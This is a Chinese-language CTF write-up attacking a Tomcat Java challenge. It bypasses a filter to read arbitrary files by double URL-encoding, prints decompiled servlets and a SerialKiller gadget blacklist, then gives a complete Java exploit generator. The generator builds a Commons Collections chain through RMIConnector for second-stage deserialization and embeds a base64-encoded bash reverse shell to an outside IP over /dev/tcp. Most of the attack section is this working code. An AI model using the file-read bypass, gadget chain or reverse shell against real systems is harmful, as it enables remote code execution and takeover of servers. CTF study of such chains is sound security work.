读文件
题目没有给源码,需要先自己读
点击submit也没有反应,也抓不到包
查看源码发现一个废弃参数
尝试读文件发现需要包含java字符,但是不能有flag,可以用#注释掉
然后读源代码
其实可以直接二次编码读flag
url1=file:///fla%2567%23java
但还是做下预期解
tomcat网页根目录一般都在
/usr/local/tomcat/webapps/ROOT/WEB-INF
往下翻可以看到两个class
源码分析
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.help_me.Servlet;
import com.ctf.help_me.Utils.FileUtils;
import com.ctf.help_me.Utils.ImagesUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;
@WebServlet(
name = "ImagesServlet",
urlPatterns = {"/Imagefile"}
)
public class ImageServlet extends HttpServlet {
private static final String UPLOAD_DIRECTORY = "WEB-INF/";
public ImageServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
String url1 = req.getParameter("url1");
if (url != null) {
if (FileUtils.CheckExt().contains(url.substring(url.indexOf(".")).toLowerCase())) {
FileInputStream fis = new FileInputStream(req.getServletContext().getRealPath("./") + File.separator + "WEB-INF/" + url);
int size = fis.available();
byte[] data = new byte[size];
fis.read(data);
fis.close();
resp.setContentType("image/jpeg");
OutputStream os = resp.getOutputStream();
((OutputStream)os).write(data);
((OutputStream)os).flush();
((OutputStream)os).close();
} else {
this.Response(resp, "only images can be read. such as jpg/png");
}
} else if (url1 != null) {
if (url1.contains("java") && !FileUtils.checkFile(url1)) {
InputStream responseContent = null;
try {
responseContent = ImagesUtils.visit(url1);
IOUtils.copy(responseContent, resp.getOutputStream());
resp.flushBuffer();
} catch (Exception var12) {
Exception e = var12;
e.printStackTrace();
} finally {
responseContent.close();
}
} else {
this.Response(resp, "must contain java and not have flag");
}
} else {
this.Response(resp, "Try again");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
ImageServlet就是处理图片读取逻辑,url参数只准读图片,url1参数存在一个任意文件读取的漏洞,只需要在末尾添加一个%23java即可绕过限制
它的check防止参数值中出现flag和\u,不过可以二次编码绕过读flag
看另一个Servlet
CmdServlet,一看名字就可能RCE
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.help_me.Servlet;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.configuration.ConfigurationException;
import org.nibblesec.tools.SerialKiller;
@WebServlet(
name = "CmdServlet",
urlPatterns = {"/closetome"}
)
public class CmdServlet extends HttpServlet {
public CmdServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String exp = req.getParameter("exp");
byte[] b = Base64.getDecoder().decode(exp);
ObjectInputStream ois = null;
try {
ois = new SerialKiller(new ByteArrayInputStream(b), "config/serialkiller.xml");
} catch (ConfigurationException var8) {
ConfigurationException e = var8;
e.printStackTrace();
}
try {
((ObjectInputStream)ois).readObject();
} catch (ClassNotFoundException var7) {
ClassNotFoundException e = var7;
e.printStackTrace();
}
}
}
路由在closetome,POST exp参数存在反序列化漏洞,但是会经过SerialKiller这个检测,看一下config/serialkiller.xml
,里面应该是反序列化的黑名单
/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/config/serialkiller.xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org.apache.commons.collections.Transformer$</regexp>
<regexp>org.apache.commons.collections.functors.InstantiateFactory$</regexp>
<regexp>com.sun.org.apache.xalan.internal.xsltc.traxTrAXFilter$</regexp>
<regexp>org.apache.commons.collections.functorsFactoryTransformer$</regexp>
<regexp>javax.management.BadAttributeValueExpException$</regexp>
<regexp>org.apache.commons.collections.keyvalue.TiedMapEntry$</regexp>
<regexp>org.apache.commons.collections.functors.ChainedTransformer$</regexp>
<regexp>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$</regexp>
<regexp>com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter$</regexp>
<regexp>java.security.SignedObject$</regexp>
<regexp>org.apache.commons.collections.Transformer$</regexp>
<regexp>org.apache.commons.collections.functors.InstantiateFactory$</regexp>
<regexp>com.sun.org.apache.xalan.internal.xsltc.traxTrAXFilter$</regexp>
<regexp>org.apache.commons.collections.functorsFactoryTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org.apache.commons.beanutils.BeanComparator$</regexp>
<regexp>org.apache.commons.collections.Transformer$</regexp>
<regexp>com.sun.rowset.JdbcRowSetImpl$</regexp>
<regexp>java.rmi.registry.Registry$</regexp>
<regexp>java.rmi.server.ObjID$</regexp>
<regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp>
<regexp>org.springframework.beans.factory.ObjectFactory$</regexp>
<regexp>org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider$</regexp>
<regexp>org.springframework.aop.framework.AdvisedSupport$</regexp>
<regexp>org.springframework.aop.target.SingletonTargetSource$</regexp>
<regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>
<regexp>org.springframework.core.SerializableTypeWrapper$TypeProvider$</regexp>
<regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>
<regexp>java.util.PriorityQueue$</regexp>
<regexp>java.lang.reflect.Proxy$</regexp>
<regexp>javax.management.MBeanServerInvocationHandler$</regexp>
<regexp>javax.management.openmbean.CompositeDataInvocationHandler$</regexp>
<regexp>java.beans.EventHandler$</regexp>
<regexp>java.util.Comparator$</regexp>
<regexp>org.reflections.Reflections$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
CC1 2 3 4 5 6 都被ban,但还剩下一个cc7
原链是
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
但是ChainedTransformer被ban了,还好InvokerTransformer没有被ban,查笔记发现InvokerTransformer可以打RMIconnector的二次反序列化,笔记是用的cc6打的,这里用cc7,大同小异,可以直接参考y4佬的WithoutChainedTransformer
exp
exp.java
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.*;
public class exp2
{
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL,"urlPath","/stub/"+getbase64paylod("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjQwLzQ1NjcgMD4mMQ==}|{base64,-d}|{bash,-i}"));
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, invokerTransformer);
lazyMap1.put("0", "yy");
Map lazyMap2 = LazyMap.decorate(innerMap2, invokerTransformer);
lazyMap2.put("yy", rmiConnector);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(innerMap1);
Object node = array[0];
if(node == null){
node = array[1];
}
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, rmiConnector);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
public static String getbase64paylod(String cmd) throws Exception {
ChainedTransformer chainedTransformer=new ChainedTransformer( new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry, "2");
lazyMap.remove("aaa");
setFieldValue(lazyMap,"factory",chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap1);
return Base64.getEncoder().encodeToString(barr.toByteArray());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}